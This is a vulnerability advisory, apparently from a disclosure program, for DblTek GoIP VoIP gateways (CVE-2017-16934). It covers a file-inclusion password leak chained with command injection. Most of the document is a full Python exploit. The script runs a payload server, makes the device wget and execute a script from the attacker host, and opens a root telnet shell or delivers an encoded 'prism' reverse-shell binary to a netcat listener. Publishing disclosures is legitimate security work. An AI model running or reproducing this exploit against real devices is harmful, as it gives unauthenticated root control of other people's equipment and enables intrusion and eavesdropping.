## Vulnerabilities summary
The following advisory describes 2 (two) vulnerabilities found in DblTek webserver.

DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.”

The vulnerabilities found are:

- Pre-authentication Information Disclosure
- Command Execution

It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
DblTek has released patches to address those vulnerabilities.

CVE-2017-16934

## Vulnerabilities details
User controlled input is not sufficiently sanitized and can trigger Local File Inclusion.

By sending GET request to /dev/mtdblock/5 an attacker can download the configuration file that contain admin password:


```
GET /default/en_US/frame.html?content=/dev/mtdblock/5
```
After we got the admin password, we can send a POST request to change_password.csp and trigget the second vulnerability.

User controlled input is not sufficiently sanitized when pass to change_password.csp. An attacker can inject script containing malicious commands in a configuration variable and execute it.

```
POST /default/en_US/change_password.csp
Content-Type: application/x-www-form-urlencoded
Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>
```

## Proof of Concept
Unauthenticated Remote Command Execution:

```
#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import os, sys, base64, bz2, socket, argparse, threading, requests, re

PAYLOAD0 = '''#!/bin/sh
rm -f /tmp/y
/bin/busybox telnetd -l /bin/sh -p %d &
'''

PAYLOAD1 = '''#!/bin/sh
rm -f /tmp/y /tmp/p
wget -O /tmp/p http://%s:%d/prism
chmod 755 /tmp/p
/tmp/p
'''

class Handler(BaseHTTPRequestHandler):
    PRISM_PORT = 1337
    TELNET_PORT = 23

    def do_GET(self):
        if self.path == '/0':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD0 % Handler.TELNET_PORT
            self.wfile.write(payload.encode())
            return
        if self.path == '/1':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
            self.wfile.write(payload.encode())
            return
        if self.path == '/prism':
            self.send_response(200)
            self.send_header('Content-type', 'octet/stream')
            self.end_headers()
            self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
            return
        self.send_response(404)

    def log_message(self, format, *args):
        print(' -- SERVING ' + format % args)

class Server(threading.Thread):
    def __init__(self, addr='0.0.0.0', port=8080):
        threading.Thread.__init__(self)
        Handler.HTTP_ADDR = addr
        Handler.HTTP_PORT = port
        self.httpd = HTTPServer((addr, port), Handler)

    def set(mime, data):
        self.RequestHandlerClass.mime = mime
        self.RequestHandlerClass.data = data

    def run(self):
        print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
        self.httpd.serve_forever()

    def stop(self):
        print(' - Stopping server')
        self.httpd.shutdown()

def prism(host, port):
    pyfile = open(os.path.realpath(__file__), 'r')
    data, skip = '', True
    for line in pyfile:
        if skip and line != '""" PRISM ARM V5L\n':
            continue
        if line == '"""\n':
            break
        if not skip:
            data += line.strip()
        skip = False
    port = str(port)
    bhost = host.encode() + (b'\0' * (16 - len(host)))
    bport = port.encode() + (b'\0' * ( 6 - len(port)))
    binary = bytearray(bz2.decompress(base64.b64decode(data)))
    binary[0x7810:0x7810+16] = bhost
    binary[0x7820:0x7820+ 6] = bport
    return binary

def getip(host):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((host, 1337))
    return s.getsockname()[0]

def get(url):
    print(' -- GET %s' % url)
    response = requests.get(url)
    return response.text

def post(url, password, data):
    print(' -- POST %s' % url)
    header = { 'Content-Type': 'application/x-www-form-urlencoded' }
    auth = requests.auth.HTTPBasicAuth('admin', password)
    response = requests.post(url, auth=auth, data=data, headers=header)
    return response.text

def attack_leak(target, variable):
    print(' - Dumping configuration (variable=%s)' % variable)
    config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
    m = re.search(r'%s="(.*)"' % variable, config)
    if not m:
        print('Cannot leak variable %s :(' % variable)
        sys.exit(1)
    return m.group(1)

def attack_exec(target, password, command):
    print(' - Executing "%s"' % command)
    argv = ', '.join(command.split())
    data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv
    post('http://%s/default/en_US/change_password.csp' % target, password, data)
    get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)

# Parsing attacker input
parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="""
Available modes are:

 1 - Use telnetd on port %d
 2 - Use prism daemon with port %d

""" % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
parser.add_argument('target')

args = parser.parse_args(sys.argv[1:])

# Get local address based on target address and routes
myaddr = getip(args.target)
myport = args.port

# Start payload delivery server
server = Server(args.addr or myaddr, myport)
server.start()

try:
    # Leak ADMIN_PASSWORD
    password = attack_leak(args.target, 'ADMIN_PASSWORD')
    print(" -- ADMIN_PASSWORD = '%s'" % password)

    attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
    attack_exec(args.target, password, "/bin/sh /tmp/y")

    print(""" - Use these commands to wipe:
 -- => setsyscfg USER_PASSWORD=
 -- => setsyscfg USER_LEVEL_ENABLE=0""")

    if args.mode == 0:
        print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
        os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
    if args.mode == 1:
        print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
        os.system("nc -l -p %d" % Handler.PRISM_PORT)

except RuntimeError as e:
    print(" - Failed :(")
    pass

# Stop payload delivery server
server.stop()
server.join()


""" PRISM ARM V5L
[encoded data, 27104 characters]
b/GNNsd3q5YzOG2Xv/c//F3JFOFCQqjmsVg=
"""
```